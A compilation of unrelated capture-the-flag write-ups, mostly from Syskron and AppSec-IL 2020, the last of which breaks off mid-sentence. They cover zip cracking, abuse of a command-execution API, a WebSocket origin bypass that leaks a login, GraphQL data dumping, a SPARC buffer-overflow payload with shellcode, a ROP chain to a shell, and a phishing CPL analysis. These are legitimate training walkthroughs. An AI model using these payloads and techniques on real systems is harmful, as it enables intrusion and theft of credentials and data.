## Stolen Licenses We first tried to crack the zip using `zip2john` and `john` with both wordlists like rockyou and english lists so we used the first hint It says possibly single word from recently added words to well know dictionary. So we went and searched for recently added words by Oxford as well as Merriam-Webster and compiled them into a `list.txt` For example for Merriam-Webster, we can do the following to get the list of words in their words at play column ```jslist = document.getElementsByTagName("em")str = ""list.forEach((val, ind, arr) => { str = str + val.innerHTML + "\n"}) copy(str.toLowerCase())``` u can then paste them into a list.txt and pass it to john using```bashzip2john licenses.zip > licenses.hashfcrackzip licenses.zip -v -D -p list.txt``` And our zip password `nosocomephobia` Thats like 1/3 if the challenge Now we have a list of images which we need to extract the text and get the check digits to see which one is valid Extract and cd into the img folder and run ```bashmkdir cropfor FILE in *.png; do magick -extract 600x50+100+450 $FILE crop/$FILE; done``` After extracting the keys convert them all to text with ```bashmkdir txt && cd txtfor i in *.png; do b=`basename "$i" .png`; tesseract "$i" txt/$b ;donecd txtfor i in *.txt; do cat $i | tr -cd [:digit:] > $i ;done``` Python script to check if valid```py3import osimport fast_luhn as fl def read_first_line(filename): with open(filename) as f: return f.readline() for filename in os.listdir(os.getcwd()): if os.path.isfile(filename) and filename.endswith(".txt"): str = read_first_line(filename) if fl.validate(str): print(str)``` Run it and bam flag : `78124512846934984669`
#### Original Writeup - [https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Check%20Digit.md](https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Check%20Digit.md) -----# Check Digit ![Category](http://img.shields.io/badge/Category-Trivia-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-25-brightgreen?style=for-the-badge) ![tag-forensics](https://img.shields.io/badge/Tag-Standard-blue?style=plastic) ## Details ![Details](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/check_digit_details.png) First i started with a google search with some of the text from the description and added ISO Standards on the end. "IMEI numbers, credit card numbers and UIC wagon numbers ISO Standards" ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/check_digit_google.png) I click on the first link which happens to be a Wikipedia page for payment Card Numbers. At that point i though i was onto something here... ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/check_digit_wikipedia.png) Looking at the page there is a ISO standard in the main section. ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/check_digit_iso_standard.png) I tried that ISO standard as that seems legit. Here is the Flag ***syskronCTF{ISO/IEC-7812}***
# Syskron Security CTF 2020- Sightseeing again - Write-Up Author: Rb916120 \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag:flag{C7Q3+FJ} ## **Question:**Sightseeing again >Challenge description >There is something in the bz2 file. We can't open it. We only know that there are four big things with red and white color on the right. Locate the things and tell us the local part of the plus code. >>Flag format: local-part-of-the-plus-code. The flag is just the local part. No syskronCTF{} this time! And, of course, no brute forcing! >>Hint >https://en.wikipedia.org/wiki/Open_Location_Code#Example [12284592390060427.bz](./12284592390060427.bz) ## Write up**below tool required in this article.** [SunCalc](http://suncalc.net/) - web tools for Sun calculation [Wikimapia.org](http://wikimapia.org/) - a Wikipedia of map **Reference:** [OSINT case](https://haax.fr/en/writeups/osint-geoint/osint-flight-tracking-challenge/) [OSINT guide](https://stormctf.ninja/ctf/blog/stormctf/bellebytes-osint-guide) [OSINT guide2](https://stormctf.ninja/ctf/blog/stormctf/bellebytes-osint-guide) [OSINT Tools List](https://www.aware-online.com/en/osint-tools/geolocation-tools/) [Plus code](https://maps.google.com/pluscodes/) [Plus Codes (Open Location Code) and Scripting in Google BigQuery](https://towardsdatascience.com/plus-codes-open-location-code-and-scripting-in-google-bigquery-30b7278f3495) --- First, the challenge is asking for the **local part of the plus code** of a location and provide a bz2 file. so, what is plus code? >It’s the name of the code generated by the Open Location Code geocoding system. >This code gives you a four digit area code (only required if you don’t have the nearest town within 25 kilometers), >and a six digit local code (quick note, even though they are alphanumeric, >in Plus Codes the terminology calls each character a “digit”). >There is a “+” symbol right before the last two digits, >which doesn’t actually convey any data, but just makes it easier to remember (much like dashes and spaces in a phone number). >The ten digit format looks like “8FVC9G8F+6W” (which is the location for Google’s office in Zurich). >If you include the town’s name, you can also use the last six digits, >so this would be “9G8F+6W Zurich, Switzerland.” If you enter either format in Google Maps, it will take you there. ok, that is a code to represent geolocation.next, look at the file and try to decompression.![img](./img/1.PNG) what!? the file is not a bzip2 file??? ![img](./img/2.PNG) lets look deeper, ![img](./img/3.PNG) something weird.. wait, JFIF? maybe this file is a JPG? modify the magic number. we finally see the image```FF D8 FF E0 00 10 4A 46 49 46 00 01ÿØÿà..JFIF..``` ![img](./img/4.PNG) >there are four big things with red and white color on the right so this is a location we are looking for. chimney in the world? ![img](./img/Sightseeingagain.jpg) look at the Exif infomation. There is a GPS latitude\(45 deg 27' 42.81" N\)```# exiftool 1.jpgExifTool Version Number : 12.07File Name : 1.jpgDirectory : .File Size : 2.4 MBFile Modification Date/Time : 2020:10:23 23:08:39+08:00File Access Date/Time : 2020:10:26 10:21:23+08:00File Inode Change Date/Time : 2020:10:26 10:21:17+08:00............Create Date : 2020:06:21 11:12:59.1+02:00Date/Time Original : 2020:06:21 11:12:59.1+02:00Modify Date : 2020:06:21 11:12:59+02:00Thumbnail Image : (Binary data 4424 bytes, use -b option to extract)GPS Latitude : 45 deg 27' 42.81" NCircle Of Confusion : 0.030 mmField Of View : 18.8 degFocal Length : 109.0 mm (35 mm equivalent: 109.0 mm)Hyperfocal Distance : 39.54 mLight Value : 11.3``` from here, i am no clue how to go further. look around the in the internet.some [OSINT case](https://haax.fr/en/writeups/osint-geoint/osint-flight-tracking-challenge/) inspired me. the photo was take at 2020:06:21 11:12:59.1+02:00,![img](./img/5.PNG) i guess the 2020:06:21 11:12:59.1+02:00 was 1~4 hrs after sunrise on that place.![img](./img/6.PNG) combine the latitude and my guess.![img](./img/7.PNG) the place should located in the EU around France to Bulgaria .Search Chimney on [Wikimapia.org](http://wikimapia.org/#lang=en&lat=45.614037&lon=15.249023&z=5&m=w&tag=148) and combine previous assumption.There is only 8 places meets my assumption. ![img](./img/8.png) and i found this place.**Fumaiolo centrale (Venice)/Coordinates: 45°25'53"N 12°14'44"E**![img](./img/9.PNG) go to Goole Maps. there is a blue building and primarily match the photo.![img](./img/10.PNG) looking around this place. there are four chimneys in the right conner.![img](./img/11.PNG) Bingo!!![img](./img/12.PNG)google map will automatic calcuelate the code for the location.![img](./img/13.PNG) >flag{C7Q3+FJ}
There are 9 png file in the zip, all of them are checkmate excersises You have to solve them, where it is the white turn, and finish the game in one step. These are the final steps in order: QH7QA8KG7PD5BB5KB6RA8RH8QH8 This is the cypherrtext: F^mY;L?t24Zk.m^-hnWl,[l)[ku Both of them are 27 characters, but the final solution is:- divide the ciphertext by 3 characters into 9 parts,- take the numbers from the check solutions,- rotate the divided part in order with the check solution numbers with ROT47 (in cyberchef),- get the flag from the 9 part. 787556888 F^mY;L?t24Zk.m^-hnWl,[l)[ku
Firstly, you can interact with telegram bot `@CSAdmin2020bot` Put your website to Bot for verification: ```https://xxx.xxx/verify.txt``` Look at the request: ```GET /verify.txt HTTP/1.1Accept: application/json, text/plain, */*X-Sent-By: ServiceBot/1.0user-agent: ServiceBot/1.0API-Method: https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/scan?url=http://xxx.xxx/verify.txtHost: xxx.xxxConnection: close``` Yeah, so you can visit: `https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/scan`and `https://api-customerservice.appsecil.ctf.today/v1/internal/bot/` The response: ```Welcome to ServiceBot server. Please checkout documention (https://api-customerservice.appsecil.ctf.today/v1/internal/bot/docs) for development.``` Go to the docs, you can see `/v1/internal/bot/api/assets/exec` api, using this and capture the flag: The request: ```POST /v1/internal/bot/api/assets/exec HTTP/1.1Host: api-customerservice.appsecil.ctf.todayConnection: closeContent-Length: 17sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"accept: application/jsonDNT: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Content-Type: application/jsonOrigin: https://api-customerservice.appsecil.ctf.todaySec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://api-customerservice.appsecil.ctf.today/v1/internal/bot/docs/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cfduid=de841180ad593ef31014e339d62331ca11603713409 { "cmd": "ls"}``` The response: ```HTTP/1.1 200 OKx-powered-by: Expressserver: OWASPIL/20.20access-control-allow-origin: *access-control-allow-methods: GET,PUT,POST,DELETEaccess-control-allow-headers: Origin, X-Requested-With, Content-Type, Acceptcontent-type: application/json; charset=utf-8content-length: 80etag: W/"50-2u6giumlY9sWoXJx1GIEEgv3o1E"date: Tue, 27 Oct 2020 03:37:51 GMTconnection: close {"msg":"Congrats! Your flag: AppSec-IL{B0t_Do3nt_M34n_S3cure_A7i}","status":200}```
# An Evil Christmas Carol 2 ![Traffic Analysis](https://img.shields.io/badge/Traffic+Analysis--2e00ff?style=for-the-badge) ![Points - 50](https://img.shields.io/badge/Points-50-9cf?style=for-the-badge) ```txtWhat is the domain used by the post-infection traffic over HTTPS?Use the file from An Evil Christmas Carol.``` --- _This challenge is **very** similar to [`Remotely Administrated Evil 2`](../Remotely%20Administrated%20Evil%202/README.md), so I suggest you take a look at that first!_ From the last stage of this challenge, you still have the IP address of the _infected client_ (`10.0.0.163`). Now, simply look at all DNS queries this client has made: ![Wireshark](./wireshark.png) ... one should really stick out! This is already the flag: `flag{vlcafxbdjtlvlcduwhga.com}`
Look at this file: `https://badroute.appsecil.ctf.today/main.b8c73a19106d54f04466.js` You can see: ```jsconnect(){new WebSocket("wss://securityocean.corp.local/admin/log")}``` Yes, so we try to connect ws: ```jsconst s = new WebSocket('wss://badroute.appsecil.ctf.today/admin/log')``` Server response: ```HTTP/1.1 101 Switching Protocolsupgrade: websocketconnection: Upgradesec-websocket-accept: +ZA/4NNH14vcfGv+BZhGv7gAwkY= {"error":"Bad origin provided, abort connection. Expect: ['securityocean.corp.local']"}``` So clearly, we add securityocean.corp.local with same ip to hosts file and go to `https://securityocean.corp.local`and then: ```const s = new WebSocket('wss://badroute.appsecil.ctf.today/admin/log')``` The request look like this: ```GET /admin/log HTTP/1.1Host: badroute.appsecil.ctf.todayConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Upgrade: websocketOrigin: https://securityocean.corp.localSec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: vrVtVO/AoKcH2erLfbgkTQ==``` Server response: ```{"msg":{"email":"[email protected]","pass":"tSec43PasswordLivna "},"error":"Incorrect username or password."}``` Using this credentials to login `https://badroute.appsecil.ctf.today/login`, we got flag: ```{"msg":"Congrats! Your Flag is AppSec-IL{Th3_W3bS0ckets_N33ds_2BS3cre}","status":200}```
# Secret Pwnhub Academy Rewards Club 2 ![Pwn](https://img.shields.io/badge/Pwn--00aaff?style=for-the-badge) ![Points - 312](https://img.shields.io/badge/Points-312-9cf?style=for-the-badge) ```txtYou are part of the club now. To vet you further, we take away a little setup cheat which we used to build your previous trial (hint: -mflat). That said, let's look at another shade of architecture feature... files: https://pwnhub.fluxfingers.net/static/chall/secret-pwnhub-academy-rewards-club-2_3b5e67d96269302d7a4521bda1cc1049.zipnc flu.xxx 2025``` --- ## TL;DR Use the `rec()` function to recurse often enough so that the first call's return pointer will be stored on the stack again. Then overflow into this return address and redirect to custom shellcode. Something like this will do just fine (`exploit.py` can be found [here](./exploit.py)): ```txtb'112222234PXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xff\xff\xe9\xf8\xff\xff\xebPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-\x0b\xd8\x9a\xac\x15\xa1n/\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94"\x80\n\x9c\x03\xa0\x10\xec;\xbf\xf0\xd0#\xbf\xf8\xc0#\xbf\xfc\x82\x10 ;\x91\xd0 \x10XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'``` ## Detailed Let's start off by taking a closer look at what the task description is referring to when it mentions `-mflat`. It definitely looks like a command line parameter/flag... probably a compiler flag? Let's take a look at [GCC's manual](https://gcc.gnu.org/onlinedocs/gcc/SPARC-Options.html) for compiling SPARC programs... Found something! ^^ ```txt-mflat-mno-flat With -mflat, the compiler does not generate save/restore instructions and uses a “flat” or single register window model. This model is compatible with the regular register window model. The local registers and the input registers (0–5) are still treated as “call-saved” registers and are saved on the stack as needed. With -mno-flat (the default), the compiler generates save/restore instructions (except for leaf functions). This is the normal operating mode.``` ... _umm_ ... that doesn't sound too good. According to this manual the program will no longer create `save/restore` instructions that _save_ the previous functions `frame pointer`, `program counter`, etc. to the stack and _restore_ these values at the end?! Well... this will definitely make code redirection more difficult?! We'll definitely keep this in mind, but let's just move on for now... From the last challenge we already know that the biny uses the `SPARC` architecture, however, let's once again scan for any enabled security measures: ![checksec](./checksec.png) ... yay! Some good news ^^! It doesn't seem like much has _improved_ from the last challenge... That's nice... Let's use `Ghidra` to see if we find anything exploitable now: ![ghidra-main](./ghidra-main.png) ... _hmm_ ... `main()` has definitely changed in comparison to the last binary... No more calls to `setup()` or `fn()` ... Also, this time, there seems to be no overflow when reading from `stdin`. `auStack512` is `512 bytes` long, like the name suggests, and is filled with a maximum of `512 bytes` when calling the `read()` function on line 13. Still, let's take a look at `rec()` - there might be something interesting there! ![ghidra-rec](./ghidra-rec.png) ... well definitely more action than in main :P. Let's take a look at this function's most _noteable_ attributes: * it iterates over an array pointed to by `buf` * `buf` is set in `main()` - it points to the input* if the character `buf` is currently pointing to is either a `1`, `2` or `3`, the function will call itself again - it'll _recurse_ (I wonder where the function's name comes from ... ^^) * depending on where in the function the comparison and recursive call happens, either `buf` will be changed so that it points to the next character in the input string or the _character code_ at position `buf` will be increased by one (`A` becomes `B`, etc.).* whenever `buf` points to the character `4`, the function will copy `buf[1]` bytes (max 255) from the input space to a small buffer (only 16 bytes) created at the beginning of `rec()` * ... I think we've found something we can overflow! This copies a variable amount of bytes (`buf[1] ∈ [0,255]`) to the functions frame on stack ... Where would we want to overflow to, however? Doesn't the `-mflat` option prevent return pointers from being stored on the stack? Well... we didn't do too much research on this topic, but some logical thinking helped us to come to the right conclusion as well: You can only keep so many return addresses in registers (or similar _limited/static_ spaces)... Surely... if we create a large enough call stack, older return pointers would have to be stored on the stack to make room for newer ones. Sure sounds like a nice theory - let's test it! This is actually not too hard. Simply give a large amount of `1`s, `2`s or `3`s as input and follow program execution in GDB. Perhaps using `define hook-stop` might be a good idea... ```bash$ ./run_docker_gdbserver.sh$ python -c "print('2'*32)" | nc localhost 4444``` ... let's break right after the `save` instruction at the very to of `rec()` and step through the program... ```txtb *0x000102a8define hook-stop x/256wx $spend``` ![gdb-first](./gdb-first.png) ... okay! We can see the first `rec()` call's stack frame and down below what seems to be `main()`'s stack frame with the input buffer starting at `0xffffea58` ... now... let's continue and see if anything changes - if any values will be stored on the stack... ![gdb-main-stored](./gdb-main-stored.png) ... would you look at that! After hitting the breakpoint just 7 times, `main()`'s stack frame seems to have become a bit more populated... Especially the two highlighted values are interested since they point at the stack- and code space respectively ... Let's see if there are any instructions belonging to a function at `0x12874` ... ![gdb-libc-main](./gdb-libc-main.png) ... that seems about right! This could be `main()`'s return address, since `__libc_main` usually initiates the program... Why not verify that return address will be stored on the stack by continuing to the breakpoint one more time: ![gdb-rec-stored](./gdb-rec-stored.png) ... gotcha! This first address looks unbelievably similar to `main()`'s stack pointer, doesn't it? Could it by any chance be the saved stack pointer?... Let's inspect the second address `0x10538` next - if this points to the instruction in `main()` where `rec()` is being called, then all our assumptions must be true! ![gdb-rec-return](./gdb-rec-return.png) ... **nice!** (_In case you're a bit confused as to why the return address points to where the function is being called and not the first instruction after this, like in x86 - as I already mentioned in the first writeup, this is just a thing with `SPARC`. To still return to the correct address it always returns to <return_address>+8, however._) Ok! Considering that `rec()` gives us the ability to overflow 240 bytes, by writing 256 bytes into a 16 byte buffer, we should have the abililty to overwrite this stored return address! Let's first do a manual test run using GDB, however, just to confirm that this stored value is actually being used and see when it is loaded: Remember the `o7` and `i7` registers I talked about in the previous writeup? We'll need them here. Let's redefine our `hook-stop` and break right at the `rec()` function's restore instruction at the very end of the function: ```txtb *0x00010500define hook-stop i r pc o7 i7 sp fp x/4i $pcend``` ... now... we overwrite `rec()`'s return address on the stack with some random value like `0x12345`: ```txtset *0xffffe9c4=0x12345``` ... let's continue debugging! ![gdb-restore-1](./gdb-restore-1.png) ... after continuing for a while, we'll finally hit the breakpoint at `restore` for the first time. Notice that both the `o7` (the current function's return address - will obtain `i7`'s value when the `restore` instruction is executed) and `i7` (the next function's return address - will be updated when `restore` is executed) registers contain the same address. Which, as a quick gdb command can confirm, points to the location in `rec()` where the recursion happens: ![gdb-confirm-return](./gdb-confirm-return.png) ... this is a sign that we're still in the recursion. Let's now continue until we arrive at the function that the first `rec()` called: ![gdb-restore-2](./gdb-restore-2.png) Right... nothing too off about this, is there? Let's see if our modified return address gets loaded into `i7` once `restore` is executed: use `si` ![gdb-restore-3](./gdb-restore-3.png) _Tadaa!_ Yes! It looks as though we've successfully redirected code execution! If we continue stepping through the program, we'll see how the modified address moves through the registers after each `restore` until it finally arrives in `pc`, once the last `rec()`s `retl` has been executed: ![gdb-restore-4](./gdb-restore-4.png) ![gdb-restore-5](./gdb-restore-5.png) All we needed to do now was to create a script that would abuse the behaviour the recursions cause plus the unsafe call to `memcpy()` in the `rec()` function to overflow into the return pointer. You can find the complete `exploit.py` script [here](./exploit.py) if you want to take a look at it. Here's a summary of what it does: 1. use the string `21222223` at the beginning of the payload to make the function recurse 7 times and therefore store the first `rec()`'s return address on stack - the `3` at the end serves the purpose of exiting from the recursive functions again.2. then, use `4\x50` + a padding of `0x48` bytes + the new `stack pointer` + the new `program counter` to overwrite both the stack pointer and the program counter with the new values.3. and last but not least, after padding the already constructed part of the payload to a length of `0x100` bytes, append the shellcode you want to redirect to. We used the same one as in the previous challenge. After executing the script, all that was left to do was to once again use a simple `cat` to retrieve the flag: `flag{unwindowing_on_th3_beach}`
First, you login, the request is:```POST /api HTTP/1.1Host: graphene.appsecil.ctf.todayConnection: closeContent-Length: 85sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Content-Type: application/json; charset=UTF-8Origin: https://graphene.appsecil.ctf.todaySec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://graphene.appsecil.ctf.today/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cfduid=de841180ad593ef31014e339d62331ca11603713409; debug=0 {"query":"mutation login {login(username:\"a\", password: \"aaaaaaaaaaaaaaaaaaaaaaaaa\") {user {username}ok}}"}``` Change `debug=0` to `debug=1` Change `query` to `fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }}fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }}query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } }}` Server response: ```json...__schema": { "queryType": { "name": "Query" }, "mutationType": { "name": "Mutations" }, "types": [ { "kind": "OBJECT", "name": "Query", "description": null, "fields": [ { "name": "user", "description": null, "args": [], "type": { "kind": "OBJECT", "name": "User", "ofType": null }, "isDeprecated": false, "deprecationReason": null }, { "name": "leads", "description": null, "args": [ { "name": "limit", "description": null, "type": { "kind": "SCALAR", "name": "Int", "ofType": null }, "defaultValue": null } ], "type": { "kind": "LIST", "name": null, "ofType": { "kind": "OBJECT", "name": "Lead", "ofType": null } }, "isDeprecated": false, "deprecationReason": null } ], "inputFields": null, "interfaces": [], "enumValues": null, "possibleTypes": null },...``` You can see through the schema, got the query name `leads`, using this to query all the leads: The request is: ```POST /api HTTP/1.1Host: graphene.appsecil.ctf.todayConnection: closeContent-Length: 85sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Content-Type: application/json; charset=UTF-8Origin: https://graphene.appsecil.ctf.todaySec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://graphene.appsecil.ctf.today/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cfduid=de841180ad593ef31014e339d62331ca11603713409; debug=1 {"query":"{leads(limit:100000){id,firstName,lastName,email,gender,ipAddress,isVip}}"}``` The response: ```...{ "id": "62", "firstName": "Claiborne", "lastName": "Wrathall", "email": "AppSec-IL{c4R8ON-15-9r4phene}", "gender": "Male", "ipAddress": "135.39.36.56", "isVip": true },...```
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#dead_malw](https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#dead_malw)
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#bash_his](https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#bash_his)
Solution flow (basically the same as addrop solution): * Predict key due to time-based seeding* Use an xor-what-where gadget to change the key global to one that undoes all of the "encryption"* ROP back to GOT-stomping loop to undo libc pointer "encryption"* Re-open fd 1 to leak a libc address* Write "/bin/sh" to the key global (using the same xor-what-where gadget)* ROP again to call system("/bin/sh") [Solve script](https://github.com/welchbj/ctf/blob/master/writeups/2020/DamCTF/xorop/solve.py).
# Syskron Security CTF 2020 - Contact Card- Write-Up Author: Teru Lei \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag: syskronCTF{n3v3r_c11ck_unkn0wn_11nk5} ## **Question:**Contact Card >Challenge description >Some of our employees have received an email with this attachment. The message says that there was some confidential contact data leaked (Password for attachment: edeb142). We recon it is some kind of phishing, but the contact files look clean, do they? >Info: This challenge does NOT contain any malicious files. Attachment: [confidential.zip](./confidential.zip) ## Write upIn this challenge, we are given a zip file, after unzip the file, the file structure is as below: ![img](./img/1.png) There are some contact files, and some other files are found in the folders: http folder (There are some cpl files, which are for Control Panel in Windows: (https://support.microsoft.com/en-us/help/149648/description-of-control-panel-cpl-files) Seems interesting, we can investigate further later): ![img](./img/2.png) https folder (All files have zero file size, seems not interesting ones):![img](./img/3.png) Other folders are empty. According to what we have now, let’s focus on the cpl files in http folder to see if there are other clues found. In Kali Linux,using ‘file’ command to examine the file type, ‘string’ command to check the strings found in the file, ‘exiftool’ to inspect metadata, and use ‘binwalk’ to check if there is hidden file. We can see that all those cpl files are binary zero, except **www.random4.cpl** (In binwalk, there is hidden file found but from ‘algorithm’ and further checked the binary, it’s caused by incorrect recognition of magic bytes of binwalk, there is no hidden file): ![img](./img/4.png) ![img](./img/5.png) ![img](./img/6.png) And from the contact card file, we can see the contact card for ‘Maximilian Baecker’, the Website field is **http.\\\\www.random4.cpl** (In real world, you should not open the suspected file outside a controlled environment): ![img](./img/7.png) At this stage, we can suspect that the file **www.random4.cpl** is malware. With some further googling, we can find a vulnerability related to this scenario (http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-FILE-INSUFFICIENT-WARNING-REMOTE-CODE-EXECUTION.txt): ```[Security Issue]This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of VCard files. Crafted data in a VCard file can cause Windows to display a dangerous hyperlink.The user interface fails to provide any indication of the hazard. An attacker can leverage this vulnerability to execute code in the context of the current user.``` To further study the behavior of **www.random4.cpl**, we can try to do some static analysis, for example, ghidra to try to decompile the binary. Actually, a message box is prompted when the cpl file is executed: ![img](./img/8.png) Or, we can simply upload the cpl file to some online malware analysis website (e.g. hybrid-analysis.com) to analysis. We can also see a message box is prompted when the binary is run in sandbox: ![img](./img/9.png) Further examine the content of message box, there is string ‘xSAvEyND’ and it mentioned that ‘We pasted this for you’. Recalled another 300 marks challenge ‘HID’, pastebin.com is used for the hacker to download malicious powershell, and the length of ‘xSAvEyND’ is the same as the path section of pastebin.com, so it’s possible that same technique is used here. let’s try to access **https://pastebin.com/raw/xSAvEyND**: ![img](./img/10.png) >syskronCTF{n3v3r_c11ck_unkn0wn_11nk5}
# Syskron Security CTF 2020 - Stolen License- Write-Up Author: Bon \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag: 78124512846934984669 ## **Question:**Stolen License >Challenge description>We found another file on the dark net! It seems that cyber criminals stole some of our license keys and put them up for sale. We tracked down a ZIP file at [link removed as it is unavailable now] (password for download syskron.CTF2020).We don't know the password of the ZIP file, but maybe it is weak encryption that can be easily cracked. If you find any valid license key, let us know. Flag format: license-key (e.g., 7812…110). Be aware: We need skilled people! If you send us random numbers, we will assign another security contractor. Attachment: [licenses.zip](https://drive.google.com/file/d/1-ZuMn02TUOxTW_6EBvEjTRqQOxgaEA7K/view?usp=sharing) ## **Hint:**>Hint 1Another security contractor told us that the password of the ZIP file may be a single word that was recently added to a well-known dictionary. >Hint 2We already told you how we create our check digits … >Hint 3A security team pinpointed the possible words to open the ZIP file to https://www.merriam-webster.com/words-at-play/new-words-in-the-dictionary ## Write upThis challenge quite challenging that we can’t figure out the password of given zip file until we unlock the hint 3. >Found the password of the zip file is **nosocomephobia**. Then I got 1000 PNGs of license documents, how can we find the valid license key? Hint 2 leads a great direction, we known the ‘Check Digit’ challenge gives the answer (**Luhn algorithm**) What I need to do is to grap 1000 license keys from those PNGs and check the one that can pass Luhn algorithm. ![img](./img/1.png) >The flag is 78124512846934984669
# Syskron Security CTF 2020 - Leak audit- Write-Up Author: Bon \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag: 376_mah6geiVoo_21 ## **Question:**Leak audit >Challenge description>We found an old dump of our employee database on the dark net! Please check the database and send us the requested information:1. How many employee records are in the file?2. Are there any employees that use the same password? (If true, send us the password for further investigation.)3. In 2017, we switched to bcrypt to securely store the passwords. How many records are protected with bcrypt? Flag format: answer1_answer2_answer3 (e.g., 1000_passw0rd_987). Attachment: [BB-inDu57rY-P0W3R-L34k3r2.tar.gz](./BB-inDu57rY-P0W3R-L34k3r2.tar.gz) ## Write upThis challenge is very straight forward. To test SQL skills.First question:```SELECT count(*) FROM personal;```>Given **376** Second question:```SELECT count(password) as ct ,passwordFROM personalGroup by password ORDER BY ct DESC ``` >Given **mah6geiVoo** as its count is 2 Thrid question:```SELECT count(password)FROM personalWHERE password like '%2b%'``` >Given **21** >So the flag is 376_mah6geiVoo_21
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#vuln_rtos](https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#vuln_rtos)
# Syskron Security CTF 2020 - Key Generator- Write-Up Author: Bon \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag: syskronCTF{7HIS-isn7-s3cUr3-c0DIN9} ## **Question:**Key Generator >Challenge description>This is our official key generator that we use to derive keys from machine numbers. Our developer put a secret in its code. Can you find it? Hint0-7 Attachment: [keygen](./keygen) ## Write upChecked and found the given file is an executable file. Execute it which prompt a request to input 7 characters to gives you a set of number. Put it into ida and check its function. ![img](./img/1.png) Nothing interesting, move on to another function. ![img](./img/2.png) ?! An interesting hex and having exactly 7 characters. Change it to ascii and we got **‘laska!!’**, try to put it to the executable file. ```Starting program: ./keygen/********************************************************************************* Copyright (C) BB Industry a.s. - All Rights Reserved* Unauthorized copying of this file, via any medium is strictly prohibited* Proprietary and confidential* Written by Marie Tesařová <[email protected]>, April 2011********************************************************************************/ Enter machine number (e.g. B999999): laska!!1639171916391539162915791569103912491069173967911091119123955915191639156967955916396391439125916296395591439609104911191169719175You are not done yet! ಠ‿ಠ``` Then we got a large integer, try to convert it to hex gives boring result. Checking the hint ‘0-7’, but the integer has 9?? After discuss with my teammate then 